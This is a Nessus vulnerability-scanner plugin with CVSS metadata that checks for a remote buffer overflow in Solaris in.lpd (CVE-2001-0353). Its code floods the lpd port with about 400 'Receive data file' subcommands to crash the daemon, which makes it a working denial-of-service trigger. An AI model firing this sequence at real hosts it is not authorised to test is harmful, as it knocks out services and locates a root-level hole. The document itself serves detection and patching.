CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
EPSS
Percentile
77.7%
The remote lpd daemon seems to be vulnerable to a buffer overflow when sent too many ‘Receive data file’ commands. An attacker may use this flaw to gain root on this host.
#
# (C) Tenable Network Security, Inc.
#
# This plugin was realized thanks to the help
# of the french "eXperts" working group - http://experts.securite.org
#
include("compat.inc");
if (description)
{
script_id(10727);
script_version("1.39");
script_cvs_date("Date: 2018/07/14 1:59:35");
script_cve_id("CVE-2001-0353");
script_bugtraq_id(2894);
script_xref(name:"CERT-CC", value:"CA-2001-15");
script_name(english:"Solaris in.lpd Transfer Job Routine Remote Buffer Overflow");
script_summary(english:"Crashes the remote lpd");
script_set_attribute(attribute:"synopsis", value:"The remote host is affected by a buffer overflow vulnerability.");
script_set_attribute(attribute:"description", value:
"The remote lpd daemon seems to be vulnerable to a buffer overflow when
sent too many 'Receive data file' commands. An attacker may use this
flaw to gain root on this host.");
script_set_attribute(attribute:"solution", value:
"If the remote host is running Solaris, apply the relevant patch from
Sun.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_set_attribute(attribute:"vuln_publication_date", value:"2001/01/19");
script_set_attribute(attribute:"plugin_publication_date", value:"2001/08/22");
script_set_attribute(attribute:"potential_vulnerability", value:"true");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright(english:"This script is Copyright (C) 2001-2018 Tenable Network Security, Inc.");
script_family(english:"Gain a shell remotely");
script_dependencies("find_service1.nasl");
script_require_keys("Settings/ParanoidReport");
script_require_ports("Services/lpd", 515);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
if (report_paranoia < 2) audit(AUDIT_PARANOID);
port = get_kb_item("Services/lpd");
if(!port)port = 515;
timestamp = rand();
#
# LPRng is not vulnerable to this flaw
#
function is_lprng()
{
local_var r, req, soc;
soc = open_priv_sock_tcp(dport:port);
if(!soc)
exit(0);
req = raw_string(9)+ string("lp") + raw_string(0x0A);
send(socket:soc, data:req);
r = recv(socket:soc, length:4096);
close(soc);
if("SPOOLCONTROL" >< r)return(1);
return(0);
}
function printer_present(name)
{
local_var r, req, soc;
soc = open_priv_sock_tcp(dport:port);
if(!soc)
return(0);
req = raw_string(0x04,name, 0x0A);
send(socket:soc, data:req);
r = recv(socket:soc, length:4096);
if(egrep(pattern:"Your host does not have .*access", string:r))return(0);
close(soc);
if(strlen(r) > 1)
return(1);
return(0);
}
#
# More default names should be added here
#
function find_printer()
{
if(printer_present(name:"NESSUS:CHECK"))return("NESSUS:CHECK");
return(0);
}
function subcommand(num)
{
local_var pad;
if(num < 10)pad = "0";
else pad = "";
return(raw_string(0x03) +"0 " + string("dfA0", pad, num, "nessus_test_",timestamp) + raw_string(0x0A));
}
function ack()
{
return(raw_string(0x00));
}
function abort_string()
{
return(raw_string(0x01, 0x0A));
}
if(!get_port_state(port))exit(0);
if(is_lprng())
{
exit(0);
}
printer = find_printer();
if(!printer)
{
#display("No printer found\n");
exit(0);
}
soc = open_priv_sock_tcp(dport:port);
if(soc)
{
req = raw_string(0x02, printer, 0x0A);
send(socket:soc, data:req);
r = recv(socket:soc, length:1);
if(r){
exit(0);
}
flag = 0;
for(i=0;i<400;i=i+1)
{
send(socket:soc, data:subcommand(num:i));
send(socket:soc, data:ack());
r = recv(socket:soc, length:2);
if(flag)
{
if(!strlen(r)){
if(i < 100)exit(0);
}
}
if(strlen(r)){
flag = 1;
#display(hex(r[0]), hex(r[1]), "\n");
if(!(r == raw_string(0,0)))
{
#display("Abort\n");
send(socket:soc, data:abort_string());
r = recv(socket:soc, length:1);
exit(0);
}
}
}
send(socket:soc, data:subcommand(num:i));
send(socket:soc, data:ack());
sleep(1);
r = recv(socket:soc, length:4096);
if(!r)security_hole(port);
else
{
send(socket:soc, data:abort_string());
r = recv(socket:soc, length:1);
close(soc);
}
}